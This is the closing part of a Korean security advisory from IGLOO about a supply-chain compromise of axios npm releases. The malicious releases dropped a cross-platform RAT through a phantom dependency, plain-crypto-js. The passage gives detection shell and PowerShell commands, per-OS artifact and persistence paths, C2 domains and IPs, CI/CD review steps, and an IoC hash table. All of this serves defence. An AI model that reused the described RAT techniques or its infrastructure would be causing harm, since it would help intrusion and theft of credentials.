peinject 핸들러(Windows의 PE 인젝션에서 이름을 따왔으나 실제로는 Linux 변종임)으로 추가 페이로드를 배포하기 위한 매커니즘으로 이를 통해 C2 운영자는 언제든 임의의 바이너리 전송이 가능
코드의 156번 라인에는 ijtbin 파라미터 대신 정의되지 않은 b64_string을 참조하는 버그가 있는데, 이는 해당 코드가 다른 버전에서 복사되었음을 시사하며 shell=True 옵션이 설정된 runscript 명령이 이미 동일한 기능을 제공
이 RAT에는 자체적인 지속성(Persistence) 유지 메커니즘 없이 재부팅 전까지만 실행되기 때문에 공격자가 초기 접근 후 runscriptpeinject를 통해 별도의 지속성 메커니즘을 배포하거나, 본 캠페인이 신속한 데이터 탈취를 목적으로 하고 있다는 사실을 확인 가능

04. 대응방안

4.1. 코드 저장소 및 개발자 PC

GitHub의 코드 검색 기능을 사용하여 package.json 또는 package-lock.json 파일내 문제가 되는 버전 검색하고 안전한 이전 버전(1.14.0 이하, 0.30.3 이하)을 적용
검색 키워드 : axios@1.14.1, axios@0.30.4, plain-crypto-js
주의사항 : plain-crypto-js가 lock 파일에 존재한다면 이는 정상적인 Axios 패키지가 아니기 때문에 반드시 삭제 필요
▽ 로컬 저장소 내 확인 명령어
# Check for malicious axios versions npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" # Check for the phantom dependency (presence = compromise) ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY COMPROMISED"
JavaScript
복사
RAT 공격 관련 아티팩트가 존재하는 경우에는 피해 시스템에 악성 패키지 설치 및 C2를 통한 페이로드 다운로드 등이 완료된 상태이기 때문에
해당 기기를 즉시 네트워크에서 차단 후 정상적인 이미지에서 다시 재빌드 필요
해당 시스템의 모든 자격증명을 교체 : npm tokens, SSH keys, AWS/GCP/Azure credentials, CI/CD secrets, .env files, database passwords 및 설치 시 접근 가능한 모든 값
▽ RAT 공격 관련 아티팩트 존재여부 확인 명령어
# macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" ls -la /private/tmp/.* 2>/dev/null | grep -v "^d" # dot-prefixed injected binaries # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED" ls -la /tmp/.* 2>/dev/null | grep -v "^d" # Windows (PowerShell) Test-Path "$env:PROGRAMDATA\wt.exe" Test-Path "$env:PROGRAMDATA\system.bat" Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -ErrorAction SilentlyContinue
JavaScript
복사
위의 검색 이외에도 운영체제 별로 발생하는 아티팩트 정보를 확인하여 피해 여부를 확인
▽ Windows
Indicator
Path / Value
LOLBIN
C:\ProgramData\wt.exe (PowerShell.exe copy)
Persistence loader
C:\ProgramData\system.bat (265 bytes, hidden)
Registry Run key
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
VBS intermediary
%TEMP%\6202033.vbs (transient)
PS1 download
%TEMP%\6202033.ps1 (transient)
CLR usage log
%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\wt.exe.log
▽ macOS
Indicator
Path / Value
Stage 2 binary
/Library/Caches/com.apple.act.mond (657 KB, Mach-O universal x86_64+arm64)
Injected payloads
/private/tmp/.<random> (dot-prefixed, ad-hoc signed)
Script execution
/tmp/.XXXXXX.scpt (temporary AppleScript files)
▽ Linux
Indicator
Path / Value
Stage 2 script
/tmp/ld.py (12 KB, Python)
Injected payloads
/tmp/.<random> (dot-prefixed, chmod 777)
C2 통신여부 확인
방화벽이나 프록시 로그 등에서 sfrclak[.]com(142.11.206.73, Port : 8000)으로 연결 시도여부 확인
C2 IP(142.11.206.73) 및 도메인(sfrclak[.]com)으로의 통신을 전사적으로 차단

4.2. CI/CD 파이프라인

악성 버전이 활성화되었던 시간대인 2026-03-31 00:21 ~ 03:15(UTC) 기점으로 빌드 로그를 검토
설치 로그 점검 : npm install 출력 결과에서 axios@1.14.1, axios@0.30.4, 또는 plain-crypto-js를 검색
네트워크 로그 점검 : CI 러너에서 sfrclak.com 또는 142.11.206.73 (포트 8000)으로 향하는 외부 연결이 있었는지 확인

4.3. 악성 패키지 방지 방안

CI/CD에서 `--ignore-scripts` 옵션 고정 : npm ci --ignore-scripts 명령을 통해 자동 빌드 중에 postinstall훅이 실행되는 것을 방지
최소 릴리즈 기간 설정 : npm config set min-release-age 3 명령을 통해 3일 이내에 게시된 패키지 차단
OIDC 출처 정보를 확인 : 정식 axios 릴리스는 npm의 Trusted Publisher 메커니즘을 통해 GitHub Actions로 게시됨에 따라 OIDC출처 메타데이터가 없는 릴리스를 삭제
존재하지 않는 종속성을 모니터링 : package.json를 통해 종속성을 확인할 수 있으나 코드베이스 어디에서도 가져오거나 필요로 하지 않는 종속성은 릴리스가 손상되었을 가능성이 있기 때문에 지속적인 모니터링 필요

4.4. PyPI 및 npm 패키지 공급망 모니터링 도구 활용

두 레지스트리를 주기적으로 확인하여 새 릴리스를 찾고, 각 릴리스를 이전 릴리스와 비교하며, LLM( Cursor Agent CLI를 통해)을 사용하여 차이점을 양성 또는 악성 으로 분류하고 악성인 경우 Slack으로 알림 전송
--no-pypi또는  --no-npm를 사용하여 하나를 비활성화
┌─── PyPI ──────────────────────┐ ┌─── npm ───────────────────────┐ │ │ │ │ │ changelog_since_serial() │ │ CouchDB _changes feed │ │ │ │ │ │ │ │ ▼ │ │ ▼ │ │ ┌────────────┐ │ │ ┌────────────┐ │ │ │ All PyPI │─┐ │ │ │ All npm │─┐ │ │ │ events │ │ │ │ │ changes │ │ │ │ └────────────┘ ▼ │ │ └────────────┘ ▼ │ │ hugovk ──► Watchlist │ │ download-counts ─► Watchlist │ │ │ │ │ │ │ │ "new release" events only │ │ new versions since last epoch │ └───────────────┬───────────────┘ └───────────────┬───────────────┘ │ │ ▼ ▼ ┌───────────────────┐ ┌───────────────────┐ │ Download old + new│ │ Download old + new (sdist + wheel) (tarball) │ └───────────────────┘ └───────────────────┘ │ │ └─────────────────┬─────────────────┘ ▼ ┌───────────────┐ │ Unified diff │ │ report (.md) │ └───────┬───────┘ ▼ ┌───────────────┐ ◄── LLM analysis │ Cursor Agent (read-only)CLI (ask mode)│ └───────┬───────┘ │ verdict? │ malicious │ ▼ ┌───────────────┐ │ Slack alert │ └───────────────┘
JavaScript
복사

05. IoC, Indicator of Compromise

NO
Type
DATA
Info
1
C2
142.11.206.73
2
Domain
sfrclak[.]com
Namecheap, registered 2026-03-30 / hxxp://sfrclak[.]com:8000/ (resolves to 142.11.206.73)
3
C2
23.254.167.216
4
SHA256
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
SILKBELL (setup.js)
5
SHA256
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
WAVESHAPER.V2 (Linux)
6
SHA256
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
WAVESHAPER.V2 (macOS)
7
SHA256
5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd
axios@1.14.1
8
SHA256
59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f
axios@0.30.4
9
SHA256
58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668
plain-crypto-js-4.2.1.tgz
10
SHA256
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
Windows
11
SHA256
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
ld.py(Linux)
12
SHA256
f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd
system.bat(Windows)
13
SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
wt.exe(Windows), PowerShell 바이너리의 이름이 변경
14
SHA256
ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
6202033.ps1(Windows), PowerShell RAT 자체 삭제
15
SHA256
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
6202033.vbs(Windows), VBScript 실행기 자동삭제 기능 포함
16
Domain
packages.npm[.]org/product0
C2 Post Body (macOS)
17
Domain
packages.npm[.]org/product1
C2 Post Body (Windows)
18
Domain
packages.npm[.]org/product2
C2 Post Body (Linux)
19
Domain
calltan[.]com
system.bat에서 참조되며 북한 연계
20
Domain
callnrwise[.]com
북한 관련 인프라

06. Reference

IGLOO Corp. 2026. All rights reserved.